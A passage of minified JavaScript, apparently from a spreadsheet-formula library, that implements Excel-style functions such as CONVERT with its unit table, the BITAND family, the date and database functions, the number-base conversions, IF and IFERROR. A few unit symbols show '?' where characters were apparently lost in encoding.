l=[b(c,N)].concat(u);S(l)&&(o+=t[f],e++)}}return o/e},r.AVERAGEIFS=function(){var r=z.apply(void 0,arguments),n=r.reduce((function(r,n){return r+n}),0),t=n/r.length;return isNaN(t)?0:t},r.BASE=function(r,n,t){var e=q(r=j(r),n=j(n),t=j(t));if(e)return e;if(0===n)return u;var o=r.toString(n);return new Array(Math.max(t+1-o.length,0)).join("0")+o},r.BESSELI=function(r,n){return F(r=j(r),n=j(n))?e:Cn.besseli(r,n)},r.BESSELJ=function(r,n){return F(r=j(r),n=j(n))?e:Cn.besselj(r,n)},r.BESSELK=function(r,n){return F(r=j(r),n=j(n))?e:Cn.besselk(r,n)},r.BESSELY=function(r,n){return F(r=j(r),n=j(n))?e:Cn.bessely(r,n)},r.BETA=yr,r.BETADIST=Hn,r.BETAINV=Yn,r.BIN2DEC=function(r){if(!Rn(r))return u;var n=parseInt(r,2),t=r.toString();return 10===t.length&&"1"===t.substring(0,1)?parseInt(t.substring(1),2)-512:n},r.BIN2HEX=function(r,n){if(!Rn(r))return u;var t=r.toString();if(10===t.length&&"1"===t.substring(0,1))return(0xfffffffe00+parseInt(t.substring(1),2)).toString(16);var o=parseInt(r,2).toString(16);return void 0===n?o:isNaN(n)?e:n<0?u:(n=Math.floor(n))>=o.length?gr("0",n-o.length)+o:u},r.BIN2OCT=function(r,n){if(!Rn(r))return u;var t=r.toString();if(10===t.length&&"1"===t.substring(0,1))return(1073741312+parseInt(t.substring(1),2)).toString(8);var o=parseInt(r,2).toString(8);return void 0===n?o:isNaN(n)?e:n<0?u:(n=Math.floor(n))>=o.length?gr("0",n-o.length)+o:u},r.BINOM=Er,r.BINOMDIST=Bn,r.BITAND=function(r,n){return F(r=j(r),n=j(n))?e:r<0||n<0||Math.floor(r)!==r||Math.floor(n)!==n||r>0xffffffffffff||n>0xffffffffffff?u:r&n},r.BITLSHIFT=function(r,n){return F(r=j(r),n=j(n))?e:r<0||Math.floor(r)!==r||r>0xffffffffffff||Math.abs(n)>53?u:n>=0?r<<n:r>>-n},r.BITOR=function(r,n){return F(r=j(r),n=j(n))?e:r<0||n<0||Math.floor(r)!==r||Math.floor(n)!==n||r>0xffffffffffff||n>0xffffffffffff?u:r|n},r.BITRSHIFT=function(r,n){return F(r=j(r),n=j(n))?e:r<0||Math.floor(r)!==r||r>0xffffffffffff||Math.abs(n)>53?u:n>=0?r>>n:r<<-n},r.BITXOR=function(r,n){return F(r=j(r),n=j(n))?e:r<0||n<0||Math.floor(r)!==r||Math.floor(n)!==n||r>0xffffffffffff||n>0xffffffffffff?u:r^n},r.CEILING=tn,r.CEILINGMATH=zn,r.CEILINGPRECISE=Wn,r.CHAR=fr,r.CHIDIST=Kn,r.CHIDISTRT=$n,r.CHIINV=Qn,r.CHIINVRT=Zn,r.CHISQ=Nr,r.CHITEST=Jn,r.CHOOSE=function(){if(arguments.length<2)return i;var r=arguments[0];return r<1||r>254||arguments.length<r+1?e:arguments[r]},r.CLEAN=function(r){return F(r)?r:(r=r||"").replace(/[\0-\x1F]/g,"")},r.CODE=cr,r.COLUMN=function(r,n){return 2!==arguments.length?i:n<0?u:r instanceof Array&&"number"==typeof n?0!==r.length?ar.col(r,n):void 0:e},r.COLUMNS=function(r){return 1!==arguments.length?i:r instanceof Array?0===r.length?0:ar.cols(r):e},r.COMBIN=en,r.COMBINA=function(r,n){var t=q(r=j(r),n=j(n));return t||(r<n?u:0===r&&0===n?1:en(r+n-1,r-1))},r.COMPLEX=On,r.CONCAT=sr,r.CONCATENATE=lr,r.CONFIDENCE=br,r.CONVERT=function(r,n,t){if((r=j(r))instanceof Error)return r;for(var e,o=[["a.u. of action","?",null,"action",!1,!1,105457168181818e-48],["a.u. of charge","e",null,"electric_charge",!1,!1,160217653141414e-33],["a.u. of energy","Eh",null,"energy",!1,!1,435974417757576e-32],["a.u. of length","a?",null,"length",!1,!1,529177210818182e-25],["a.u. of mass","m?",null,"mass",!1,!1,910938261616162e-45],["a.u. of time","?/Eh",null,"time",!1,!1,241888432650516e-31],["admiralty knot","admkn",null,"speed",!1,!0,.514773333],["ampere","A",null,"electric_current",!0,!1,1],["ampere per meter","A/m",null,"magnetic_field_intensity",!0,!1,1],["ångström","Å",["ang"],"length",!1,!0,1e-10],["are","ar",null,"area",!1,!0,100],["astronomical unit","ua",null,"length",!1,!1,149597870691667e-25],["bar","bar",null,"pressure",!1,!1,1e5],["barn","b",null,"area",!1,!1,1e-28],["becquerel","Bq",null,"radioactivity",!0,!1,1],["bit","bit",["b"],"information",!1,!0,1],["btu","BTU",["btu"],"energy",!1,!0,1055.05585262],["byte","byte",null,"information",!1,!0,8],["candela","cd",null,"luminous_intensity",!0,!1,1],["candela per square metre","cd/m?",null,"luminance",!0,!1,1],["coulomb","C",null,"electric_charge",!0,!1,1],["cubic ångström","ang3",["ang^3"],"volume",!1,!0,1e-30],["cubic foot","ft3",["ft^3"],"volume",!1,!0,.028316846592],["cubic inch","in3",["in^3"],"volume",!1,!0,16387064e-12],["cubic light-year","ly3",["ly^3"],"volume",!1,!0,846786664623715e-61],["cubic metre","m3",["m^3"],"volume",!0,!0,1],["cubic mile","mi3",["mi^3"],"volume",!1,!0,4168181825.44058],["cubic nautical mile","Nmi3",["Nmi^3"],"volume",!1,!0,6352182208],["cubic Pica","Pica3",["Picapt3","Pica^3","Picapt^3"],"volume",!1,!0,7.58660370370369e-8],["cubic yard","yd3",["yd^3"],"volume",!1,!0,.764554857984],["cup","cup",null,"volume",!1,!0,.0002365882365],["dalton","Da",["u"],"mass",!1,!1,166053886282828e-41],["day","d",["day"],"time",!1,!0,86400],["degree","°",null,"angle",!1,!1,.0174532925199433],["degrees Rankine","Rank",null,"temperature",!1,!0,.555555555555556],["dyne","dyn",["dy"],"force",!1,!0,1e-5],["electronvolt","eV",["ev"],"energy",!1,!0,1.60217656514141],["ell","ell",null,"length",!1,!0,1.143],["erg","erg",["e"],"energy",!1,!0,1e-7],["farad","F",null,"electric_capacitance",!0,!1,1],["fluid ounce","oz",null,"volume",!1,!0,295735295625e-16],["foot","ft",null,"length",!1,!0,.3048],["foot-pound","flb",null,"energy",!1,!0,1.3558179483314],["gal","Gal",null,"acceleration",!1,!1,.01],["gallon","gal",null,"volume",!1,!0,.003785411784],["gauss","G",["ga"],"magnetic_flux_density",!1,!0,1],["grain","grain",null,"mass",!1,!0,647989e-10],["gram","g",null,"mass",!1,!0,.001],["gray","Gy",null,"absorbed_dose",!0,!1,1],["gross registered ton","GRT",["regton"],"volume",!1,!0,2.8316846592],["hectare","ha",null,"area",!1,!0,1e4],["henry","H",null,"inductance",!0,!1,1],["hertz","Hz",null,"frequency",!0,!1,1],["horsepower","HP",["h"],"power",!1,!0,745.69987158227],["horsepower-hour","HPh",["hh","hph"],"energy",!1,!0,2684519.538],["hour","h",["hr"],"time",!1,!0,3600],["imperial gallon (U.K.)","uk_gal",null,"volume",!1,!0,.00454609],["imperial hundredweight","lcwt",["uk_cwt","hweight"],"mass",!1,!0,50.802345],["imperial quart (U.K)","uk_qt",null,"volume",!1,!0,.0011365225],["imperial ton","brton",["uk_ton","LTON"],"mass",!1,!0,1016.046909],["inch","in",null,"length",!1,!0,.0254],["international acre","uk_acre",null,"area",!1,!0,4046.8564224],["IT calorie","cal",null,"energy",!1,!0,4.1868],["joule","J",null,"energy",!0,!0,1],["katal","kat",null,"catalytic_activity",!0,!1,1],["kelvin","K",["kel"],"temperature",!0,!0,1],["kilogram","kg",null,"mass",!0,!0,1],["knot","kn",null,"speed",!1,!0,.514444444444444],["light-year","ly",null,"length",!1,!0,9460730472580800],["litre","L",["l","lt"],"volume",!1,!0,.001],["lumen","lm",null,"luminous_flux",!0,!1,1],["lux","lx",null,"illuminance",!0,!1,1],["maxwell","Mx",null,"magnetic_flux",!1,!1,1e-18],["measurement ton","MTON",null,"volume",!1,!0,1.13267386368],["meter per hour","m/h",["m/hr"],"speed",!1,!0,.00027777777777778],["meter per second","m/s",["m/sec"],"speed",!0,!0,1],["meter per second squared","m?s??",null,"acceleration",!0,!1,1],["parsec","pc",["parsec"],"length",!1,!0,0x6da012f958ee1c],["meter squared per second","m?/s",null,"kinematic_viscosity",!0,!1,1],["metre","m",null,"length",!0,!0,1],["miles per hour","mph",null,"speed",!1,!0,.44704],["millimetre of mercury","mmHg",null,"pressure",!1,!1,133.322],["minute","?",null,"angle",!1,!1,.000290888208665722],["minute","min",["mn"],"time",!1,!0,60],["modern teaspoon","tspm",null,"volume",!1,!0,5e-6],["mole","mol",null,"amount_of_substance",!0,!1,1],["morgen","Morgen",null,"area",!1,!0,2500],["n.u. of action","?",null,"action",!1,!1,105457168181818e-48],["n.u. of mass","m?",null,"mass",!1,!1,910938261616162e-45],["n.u. of speed","c?",null,"speed",!1,!1,299792458],["n.u. of time","?/(me?c??)",null,"time",!1,!1,128808866778687e-35],["nautical mile","M",["Nmi"],"length",!1,!0,1852],["newton","N",null,"force",!0,!0,1],["œrsted","Oe ",null,"magnetic_field_intensity",!1,!1,79.5774715459477],["ohm","Ω",null,"electric_resistance",!0,!1,1],["ounce mass","ozm",null,"mass",!1,!0,.028349523125],["pascal","Pa",null,"pressure",!0,!1,1],["pascal second","Pa?s",null,"dynamic_viscosity",!0,!1,1],["pferdestärke","PS",null,"power",!1,!0,735.49875],["phot","ph",null,"illuminance",!1,!1,1e-4],["pica (1/6 inch)","pica",null,"length",!1,!0,.00035277777777778],["pica (1/72 inch)","Pica",["Picapt"],"length",!1,!0,.00423333333333333],["poise","P",null,"dynamic_viscosity",!1,!1,.1],["pond","pond",null,"force",!1,!0,.00980665],["pound force","lbf",null,"force",!1,!0,4.4482216152605],["pound mass","lbm",null,"mass",!1,!0,.45359237],["quart","qt",null,"volume",!1,!0,.000946352946],["radian","rad",null,"angle",!0,!1,1],["second","?",null,"angle",!1,!1,484813681109536e-20],["second","s",["sec"],"time",!0,!0,1],["short hundredweight","cwt",["shweight"],"mass",!1,!0,45.359237],["siemens","S",null,"electrical_conductance",!0,!1,1],["sievert","Sv",null,"equivalent_dose",!0,!1,1],["slug","sg",null,"mass",!1,!0,14.59390294],["square ångström","ang2",["ang^2"],"area",!1,!0,1e-20],["square foot","ft2",["ft^2"],"area",!1,!0,.09290304],["square inch","in2",["in^2"],"area",!1,!0,64516e-8],["square light-year","ly2",["ly^2"],"area",!1,!0,895054210748189e17],["square meter","m?",null,"area",!0,!0,1],["square mile","mi2",["mi^2"],"area",!1,!0,2589988.110336],["square nautical mile","Nmi2",["Nmi^2"],"area",!1,!0,3429904],["square Pica","Pica2",["Picapt2","Pica^2","Picapt^2"],"area",!1,!0,1792111111111e-17],["square yard","yd2",["yd^2"],"area",!1,!0,.83612736],["statute mile","mi",null,"length",!1,!0,1609.344],["steradian","sr",null,"solid_angle",!0,!1,1],["stilb","sb",null,"luminance",!1,!1,1e-4],["stokes","St",null,"kinematic_viscosity",!1,!1,1e-4],["stone","stone",null,"mass",!1,!0,6.35029318],["tablespoon","tbs",null,"volume",!1,!0,147868e-10],["teaspoon","tsp",null,"volume",!1,!0,492892e-11],["tesla","T",null,"magnetic_flux_density",!0,!0,1],["thermodynamic calorie","c",null,"energy",!1,!0,4.184],["ton","ton",null,"mass",!1,!0,907.18474],["tonne","t",null,"mass",!1,!1,1e3],["U.K. pint","uk_pt",null,"volume",!1,!0,.00056826125],["U.S. bushel","bushel",null,"volume",!1,!0,.03523907],["U.S. oil barrel","barrel",null,"volume",!1,!0,.158987295],["U.S. pint","pt",["us_pt"],"volume",!1,!0,.000473176473],["U.S. survey mile","survey_mi",null,"length",!1,!0,1609.347219],["U.S. survey/statute acre","us_acre",null,"area",!1,!0,4046.87261],["volt","V",null,"voltage",!0,!1,1],["watt","W",null,"power",!0,!0,1],["watt-hour","Wh",["wh"],"energy",!1,!0,3600],["weber","Wb",null,"magnetic_flux",!0,!1,1],["yard","yd",null,"length",!1,!0,.9144],["year","yr",null,"time",!1,!0,31557600]],a={Yi:["yobi",80,12089258196146292e8,"Yi","yotta"],Zi:["zebi",70,11805916207174113e5,"Zi","zetta"],Ei:["exbi",60,0x1000000000000000,"Ei","exa"],Pi:["pebi",50,0x4000000000000,"Pi","peta"],Ti:["tebi",40,1099511627776,"Ti","tera"],Gi:["gibi",30,1073741824,"Gi","giga"],Mi:["mebi",20,1048576,"Mi","mega"],ki:["kibi",10,1024,"ki","kilo"]},u={Y:["yotta",1e24,"Y"],Z:["zetta",1e21,"Z"],E:["exa",1e18,"E"],P:["peta",1e15,"P"],T:["tera",1e12,"T"],G:["giga",1e9,"G"],M:["mega",1e6,"M"],k:["kilo",1e3,"k"],h:["hecto",100,"h"],e:["dekao",10,"e"],d:["deci",.1,"d"],c:["centi",.01,"c"],m:["milli",.001,"m"],u:["micro",1e-6,"u"],n:["nano",1e-9,"n"],p:["pico",1e-12,"p"],f:["femto",1e-15,"f"],a:["atto",1e-18,"a"],z:["zepto",1e-21,"z"],y:["yocto",1e-24,"y"]},f=null,c=null,l=n,s=t,h=1,g=1,v=0;v<o.length;v++)e=null===o[v][2]?[]:o[v][2],(o[v][1]===l||e.indexOf(l)>=0)&&(f=o[v]),(o[v][1]===s||e.indexOf(s)>=0)&&(c=o[v]);if(null===f){var p=a[n.substring(0,2)],m=u[n.substring(0,1)];"da"===n.substring(0,2)&&(m=["dekao",10,"da"]),p?(h=p[2],l=n.substring(2)):m&&(h=m[1],l=n.substring(m[2].length));for(var d=0;d<o.length;d++)e=null===o[d][2]?[]:o[d][2],(o[d][1]===l||e.indexOf(l)>=0)&&(f=o[d])}if(null===c){var M=a[t.substring(0,2)],y=u[t.substring(0,1)];"da"===t.substring(0,2)&&(y=["dekao",10,"da"]),M?(g=M[2],s=t.substring(2)):y&&(g=y[1],s=t.substring(y[2].length));for(var E=0;E<o.length;E++)e=null===o[E][2]?[]:o[E][2],(o[E][1]===s||e.indexOf(s)>=0)&&(c=o[E])}return null===f||null===c||f[3]!==c[3]?i:r*f[6]*h/(c[6]*g)},r.CORREL=function(r,n){return F(r=H(C(r)),n=H(C(n)))?e:ar.corrcoeff(r,n)},r.COS=function(r){return(r=j(r))instanceof Error?r:Math.cos(r)},r.COSH=function(r){return(r=j(r))instanceof Error?r:(Math.exp(r)+Math.exp(-r))/2},r.COT=function(r){return(r=j(r))instanceof Error?r:0===r?t:1/Math.tan(r)},r.COTH=function(r){if((r=j(r))instanceof Error)return r;if(0===r)return t;var n=Math.exp(2*r);return(n+1)/(n-1)},r.COUNT=Ir,r.COUNTA=wr,r.COUNTBLANK=Sr,r.COUNTIF=function(r,n){if(r=C(r),void 0===n||"*"===n)return r.length;for(var t=0,e=w(n+""),o=0;o<r.length;o++){var a=[b(r[o],N)].concat(e);S(a)&&t++}return t},r.COUNTIFS=function(){for(var r=T(arguments),n=new Array(C(r[0]).length),t=0;t<n.length;t++)n[t]=!0;for(var e=0;e<r.length;e+=2){var o=C(r[e]),a=r[e+1];if(!(void 0===a||"*"===a))for(var u=w(a+""),i=0;i<o.length;i++){var f=[b(o[i],N)].concat(u);n[i]=n[i]&&S(f)}}for(var c=0,l=0;l<n.length;l++)n[l]&&c++;return c},r.COUPDAYS=function(r,n,t,o){if(o=ne(o),t=re(t),q(r=G(r),n=G(n)))return e;if(q(t,o)||r>=n)return u;if(1===o){var a=function(r,n,t){var e=G(n);for(e.setFullYear(r.getFullYear()),e<r&&e.setFullYear(e.getFullYear()+1);e>r;)e.setMonth(e.getMonth()+-12/t);return e}(r,n,t),i=G(a);return i.setMonth(i.getMonth()+12/t),dn(a,i,"D")}var f;switch(o){case 0:case 2:case 4:f=360;break;case 3:f=365;break;default:return u}return f/t},r.COVAR=rt,r.COVARIANCE=Tr,r.COVARIANCEP=nt,r.COVARIANCES=tt,r.CRITBINOM=et,r.CSC=function(r){return(r=j(r))instanceof Error?r:0===r?t:1/Math.sin(r)},r.CSCH=function(r){return(r=j(r))instanceof Error?r:0===r?t:2/(Math.exp(r)-Math.exp(-r))},r.CUMIPMT=function(r,n,t,o,a,i){if(F(r=j(r),n=j(n),t=j(t)))return e;if(r<=0||n<=0||t<=0)return u;if(o<1||a<1||o>a)return u;if(0!==i&&1!==i)return u;var f=ae(r,n,t,0,i),c=0;1===o&&(0===i&&(c=-t),o++);for(var l=o;l<=a;l++)c+=1===i?te(r,l-2,f,t,1)-f:te(r,l-1,f,t,0);return c*=r},r.CUMPRINC=function(r,n,t,o,a,i){if(F(r=j(r),n=j(n),t=j(t)))return e;if(r<=0||n<=0||t<=0)return u;if(o<1||a<1||o>a)return u;if(0!==i&&1!==i)return u;var f=ae(r,n,t,0,i),c=0;1===o&&(c=0===i?f+t*r:f,o++);for(var l=o;l<=a;l++)c+=i>0?f-(te(r,l-2,f,t,1)-f)*r:f-te(r,l-1,f,t,0)*r;return c},r.DATE=function(r,n,t){var o;return F(r=j(r),n=j(n),t=j(t))?o=e:(o=new Date(r,n-1,t)).getFullYear()<0&&(o=u),s?v(o):o},r.DATEDIF=dn,r.DATEVALUE=function(r){if("string"!=typeof r)return e;var n=Date.parse(r);if(isNaN(n))return e;var t=new Date(r);return s?v(t):t},r.DAVERAGE=function(r,n,o){if(isNaN(n)&&"string"!=typeof n)return e;var a=Qt(r,o),u=[];if("string"==typeof n){var i=_(r,n);u=P(r[i])}else u=P(r[n]);var f=0;return A(a,(function(r){f+=u[r]})),0===a.length?t:f/a.length},r.DAY=function(r){var n=G(r);return n instanceof Error?n:n.getDate()},r.DAYS=yn,r.DAYS360=En,r.DB=function(r,n,t,o,a){if(a=void 0===a?12:a,F(r=j(r),n=j(n),t=j(t),o=j(o),a=j(a)))return e;if(r<0||n<0||t<0||o<0)return u;if(-1===[1,2,3,4,5,6,7,8,9,10,11,12].indexOf(a))return u;if(o>t)return u;if(n>=r)return 0;for(var i=(1-Math.pow(n/r,1/t)).toFixed(3),f=r*i*a/12,c=f,l=0,s=o===t?t-1:o,h=2;h<=s;h++)c+=l=(r-c)*i;return 1===o?f:o===t?(r-c)*i:l},r.DCOUNT=function(r,n,t){if(isNaN(n)&&"string"!=typeof n)return e;var o=Qt(r,t),a=[];if("string"==typeof n){var u=_(r,n);a=P(r[u])}else a=P(r[n]);var i=[];return A(o,(function(r){i.push(a[r])})),Ir(i)},r.DCOUNTA=function(r,n,t){if(isNaN(n)&&"string"!=typeof n)return e;var o=Qt(r,t),a=[];if("string"==typeof n){var u=_(r,n);a=P(r[u])}else a=P(r[n]);var i=[];return A(o,(function(r){i.push(a[r])})),wr(i)},r.DDB=function(r,n,t,o,a){if(a=void 0===a?2:a,F(r=j(r),n=j(n),t=j(t),o=j(o),a=j(a)))return e;if(r<0||n<0||t<0||o<0||a<=0)return u;if(o>t)return u;if(n>=r)return 0;for(var i=0,f=0,c=1;c<=o;c++)i+=f=Math.min(a/t*(r-i),r-n-i);return f},r.DEC2BIN=function(r,n){if((r=j(r))instanceof Error)return r;if(!/^-?[0-9]{1,3}$/.test(r)||r<-512||r>511)return u;if(r<0)return"1"+gr("0",9-(512+r).toString(2).length)+(512+r).toString(2);var t=parseInt(r,10).toString(2);return void 0===n?t:isNaN(n)?e:n<0?u:(n=Math.floor(n))>=t.length?gr("0",n-t.length)+t:u},r.DEC2HEX=function(r,n){if((r=j(r))instanceof Error)return r;if(!/^-?[0-9]{1,12}$/.test(r)||r<-549755813888||r>549755813887)return u;if(r<0)return(1099511627776+r).toString(16);var t=parseInt(r,10).toString(16);return void 0===n?t:isNaN(n)?e:n<0?u:(n=Math.floor(n))>=t.length?gr("0",n-t.length)+t:u},r.DEC2OCT=function(r,n){if((r=j(r))instanceof Error)return r;if(!/^-?[0-9]{1,9}$/.test(r)||r<-536870912||r>536870911)return u;if(r<0)return(1073741824+r).toString(8);var t=parseInt(r,10).toString(8);return void 0===n?t:isNaN(n)?e:n<0?u:(n=Math.floor(n))>=t.length?gr("0",n-t.length)+t:u},r.DECIMAL=function(r,n){if(arguments.length<2)return i;var t=q(r=r||"0",n=j(n));if(t)return t;if(0===n)return u;var e=parseInt(r,n);return isNaN(e)?u:e},r.DEGREES=function(r){return(r=j(r))instanceof Error?r:180*r/Math.PI},r.DELTA=function(r,n){return n=void 0===n?0:n,F(r=j(r),n=j(n))?e:r===n?1:0},r.DEVSQ=function(){var r=H(C(arguments));if(r instanceof Error)return r;for(var n=ar.mean(r),t=0,e=0;e<r.length;e++)t+=Math.pow(r[e]-n,2);return t},r.DGET=function(r,n,t){if(isNaN(n)&&"string"!=typeof n)return e;var o=Qt(r,t),a=[];return a=P("string"==typeof n?r[_(r,n)]:r[n]),0===o.length?e:o.length>1?u:a[o[0]]},r.DISC=function(r,n,t,o,a){if(F(r=G(r),n=G(n),t=j(t),o=j(o),a=(a=j(a))||0))return e;if(t<=0||o<=0)return u;if(r>=n)return e;var i,f;switch(a){case 0:i=360,f=En(r,n,!1);break;case 1:case 3:i=365,f=dn(r,n,"D");break;case 2:i=360,f=dn(r,n,"D");break;case 4:i=360,f=En(r,n,!0);break;default:return u}return(o-t)/o*i/f},r.DMAX=function(r,n,t){if(isNaN(n)&&"string"!=typeof n)return e;var o=Qt(r,t),a=[];if("string"==typeof n){var u=_(r,n);a=P(r[u])}else a=P(r[n]);var i=a[o[0]];return A(o,(function(r){i<a[r]&&(i=a[r])})),i},r.DMIN=function(r,n,t){if(isNaN(n)&&"string"!=typeof n)return e;var o=Qt(r,t),a=[];if("string"==typeof n){var u=_(r,n);a=P(r[u])}else a=P(r[n]);var i=a[o[0]];return A(o,(function(r){i>a[r]&&(i=a[r])})),i},r.DOLLAR=function(r){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:2;if(r=j(r),isNaN(r))return e;var t={style:"currency",currency:"USD",minimumFractionDigits:n>=0?n:0,maximumFractionDigits:n>=0?n:0},o=(r=sn(r,n)).toLocaleString("en-US",t);return r<0?"$("+o.slice(2)+")":o},r.DOLLARDE=function(r,n){if(F(r=j(r),n=j(n)))return e;if(n<0)return u;if(n>=0&&n<1)return t;n=parseInt(n,10);var o=parseInt(r,10);o+=r%1*Math.pow(10,Math.ceil(Math.log(n)/Math.LN10))/n;var a=Math.pow(10,Math.ceil(Math.log(n)/Math.LN2)+1);return o=Math.round(o*a)/a},r.DOLLARFR=function(r,n){if(F(r=j(r),n=j(n)))return e;if(n<0)return u;if(n>=0&&n<1)return t;n=parseInt(n,10);var o=parseInt(r,10);return o+=r%1*Math.pow(10,-Math.ceil(Math.log(n)/Math.LN10))*n},r.DPRODUCT=function(r,n,t){if(isNaN(n)&&"string"!=typeof n)return e;var o=Qt(r,t),a=[];if("string"==typeof n){var u=_(r,n);a=P(r[u])}else a=P(r[n]);var i=[];A(o,(function(r){i.push(a[r])})),i=$t(i);var f=1;return A(i,(function(r){f*=r})),f},r.DSTDEV=function(r,n,t){if(isNaN(n)&&"string"!=typeof n)return e;var o=Qt(r,t),a=[];if("string"==typeof n){var u=_(r,n);a=P(r[u])}else a=P(r[n]);var i=[];return A(o,(function(r){i.push(a[r])})),i=$t(i),$r.S(i)},r.DSTDEVP=function(r,n,t){if(isNaN(n)&&"string"!=typeof n)return e;var o=Qt(r,t),a=[];if("string"==typeof n){var u=_(r,n);a=P(r[u])}else a=P(r[n]);var i=[];return A(o,(function(r){i.push(a[r])})),i=$t(i),$r.P(i)},r.DSUM=function(r,n,t){if(isNaN(n)&&"string"!=typeof n)return e;var o=Qt(r,t),a=[];if("string"==typeof n){var u=_(r,n);a=P(r[u])}else a=P(r[n]);var i=[];return A(o,(function(r){i.push(a[r])})),hn(i)},r.DVAR=function(r,n,t){if(isNaN(n)&&"string"!=typeof n)return e;var o=Qt(r,t),a=[];if("string"==typeof n){var u=_(r,n);a=P(r[u])}else a=P(r[n]);var i=[];return A(o,(function(r){i.push(a[r])})),Qr.S(i)},r.DVARP=function(r,n,t){if(isNaN(n)&&"string"!=typeof n)return e;var o=Qt(r,t),a=[];if("string"==typeof n){var u=_(r,n);a=P(r[u])}else a=P(r[n]);var i=[];return A(o,(function(r){i.push(a[r])})),Qr.P(i)},r.EDATE=function(r,n){if((r=G(r))instanceof Error)return r;if(isNaN(n))return e;var t=r.getDate();r.setDate(1),n=parseInt(n,10),r.setMonth(r.getMonth()+n);var o=r.getMonth();if(t>28){var a=[31,28,31,30,31,30,31,31,30,31,30,31][o],u=r.getFullYear();1===o&&(u%4==0&&u%100!=0||u%400==0)&&(a=29),t=Math.min(t,a)}return r.setDate(t),s?v(r):r},r.EFFECT=function(r,n){return F(r=j(r),n=j(n))?e:r<=0||n<1?u:(n=parseInt(n,10),Math.pow(1+r/n,n)-1)},r.EOMONTH=function(r,n){if((r=G(r))instanceof Error)return r;if(isNaN(n))return e;n=parseInt(n,10);var t=new Date(r.getFullYear(),r.getMonth()+n+1,0);return s?v(t):t},r.ERF=Pn,r.ERFC=Ln,r.ERFCPRECISE=ot,r.ERFPRECISE=at,r.ERROR=K,r.EVEN=function(r){return(r=j(r))instanceof Error?r:tn.MATH(r,-2,-1)},r.EXACT=function(r,n){if(2!==arguments.length)return i;var t=q(r,n);return t||(r=Y(r))===(n=Y(n))},r.EXP=function(r){return arguments.length<1?i:arguments.length>1?f:(r=j(r))instanceof Error?r:r=Math.exp(r)},r.EXPON=Ar,r.EXPONDIST=ut,r.F=xr,r.FACT=an,r.FACTDOUBLE=function r(n){if((n=j(n))instanceof Error)return n;var t=Math.floor(n);return t<=0?1:t*r(t-2)},r.FALSE=function(){return!1},r.FDIST=it,r.FDISTRT=ft,r.FIND=function(r,n,t){if(arguments.length<2)return i;r=Y(r),t=void 0===t?0:t;var o=(n=Y(n)).indexOf(r,t-1);return-1===o?e:o+1},r.FINV=ct,r.FINVRT=lt,r.FISHER=function(r){return(r=j(r))instanceof Error?r:Math.log((1+r)/(1-r))/2},r.FISHERINV=function(r){if((r=j(r))instanceof Error)return r;var n=Math.exp(2*r);return(n-1)/(n+1)},r.FIXED=hr,r.FLOOR=un,r.FLOORMATH=st,r.FLOORPRECISE=ht,r.FORECAST=Dr,r.FREQUENCY=function(r,n){if(F(r=H(C(r)),n=H(C(n))))return e;for(var t=r.length,o=n.length,a=[],u=0;u<=o;u++){a[u]=0;for(var i=0;i<t;i++)0===u?r[i]<=n[0]&&(a[0]+=1):u<o?r[i]>n[u-1]&&r[i]<=n[u]&&(a[u]+=1):u===o&&r[i]>n[o-1]&&(a[o]+=1)}return a},r.FTEST=gt,r.FV=te,r.FVSCHEDULE=function(r,n){if(F(r=j(r),n=H(C(n))))return e;for(var t=n.length,o=r,a=0;a<t;a++)o*=1+n[a];return o},r.GAMMA=Cr,r.GAMMADIST=vt,r.GAMMAINV=pt,r.GAMMALN=Rr,r.GAMMALNPRECISE=mt,r.GAUSS=function(r){return(r=j(r))instanceof Error?r:ar.normal.cdf(r,0,1)-.5},r.GCD=function(){var r=H(C(arguments));if(r instanceof Error)return r;for(var n=r.length,t=r[0],e=t<0?-t:t,o=1;o<n;o++){for(var a=r[o],u=a<0?-a:a;e&&u;)e>u?e%=u:u%=e;e+=u}return e},r.GEOMEAN=function(){var r=H(C(arguments));return r instanceof Error?r:ar.geomean(r)},r.GESTEP=function(r,n){return F(n=n||0,r=j(r))?r:r>=n?1:0},r.GROWTH=function(r,n,t,o){if((r=H(C(r)))instanceof Error)return r;var a;if(void 0===n)for(n=[],a=1;a<=r.length;a++)n.push(a);if(void 0===t&&(t=n),F(n=H(C(n)),t=H(C(t))))return e;void 0===o&&(o=!0);var u,i,f=r.length,c=0,l=0,s=0,h=0;for(a=0;a<f;a++){var g=n[a],v=Math.log(r[a]);c+=g,l+=v,s+=g*v,h+=g*g}c/=f,l/=f,s/=f,h/=f,o?i=l-(u=(s-c*l)/(h-c*c))*c:(u=s/h,i=0);var p=[];for(a=0;a<t.length;a++)p.push(Math.exp(i+u*t[a]));return p},r.HARMEAN=function(){var r=H(C(arguments));if(r instanceof Error)return r;for(var n=r.length,t=0,e=0;e<n;e++)t+=1/r[e];return n/t},r.HEX2BIN=function(r,n){if(!/^[0-9A-Fa-f]{1,10}$/.test(r))return u;var t=!(10!==r.length||"f"!==r.substring(0,1).toLowerCase()),o=t?parseInt(r,16)-1099511627776:parseInt(r,16);if(o<-512||o>511)return u;if(t)return"1"+gr("0",9-(512+o).toString(2).length)+(512+o).toString(2);var a=o.toString(2);return void 0===n?a:isNaN(n)?e:n<0?u:(n=Math.floor(n))>=a.length?gr("0",n-a.length)+a:u},r.HEX2DEC=function(r){if(!/^[0-9A-Fa-f]{1,10}$/.test(r))return u;var n=parseInt(r,16);return n>=549755813888?n-1099511627776:n},r.HEX2OCT=function(r,n){if(!/^[0-9A-Fa-f]{1,10}$/.test(r))return u;var t=parseInt(r,16);if(t>536870911&&t<0xffe0000000)return u;if(t>=0xffe0000000)return(t-0xffc0000000).toString(8);var o=t.toString(8);return void 0===n?o:isNaN(n)?e:n<0?u:(n=Math.floor(n))>=o.length?gr("0",n-o.length)+o:u},r.HLOOKUP=function(r,n,t,e){return ir(r,L(n),t,e)},r.HOUR=function(r){return(r=G(r))instanceof Error?r:r.getHours()},r.HYPGEOM=Or,r.HYPGEOMDIST=dt,r.IF=function(r,n,t){return r instanceof Error?r:(null==(n=!(arguments.length>=2)||n)&&(n=0),null==(t=3===arguments.length&&t)&&(t=0),r?n:t)},r.IFERROR=function(r,n){return Q(r)?n:r},r.IFNA=function(r,n){return r===i?n:r},r.IFS=function(){for(var r=0;r<arguments.length/2;r++)if(arguments[2*r])return arguments[2*r+1];return i},r.IMABS=_n,r.IMAGINARY=qn,r.IMARGUMENT=Fn,r.IMCONJUGATE=function(r){var n=Gn(r),t=qn(r);if(F(n,t))return e;var o=r.substring(r.length-1);return 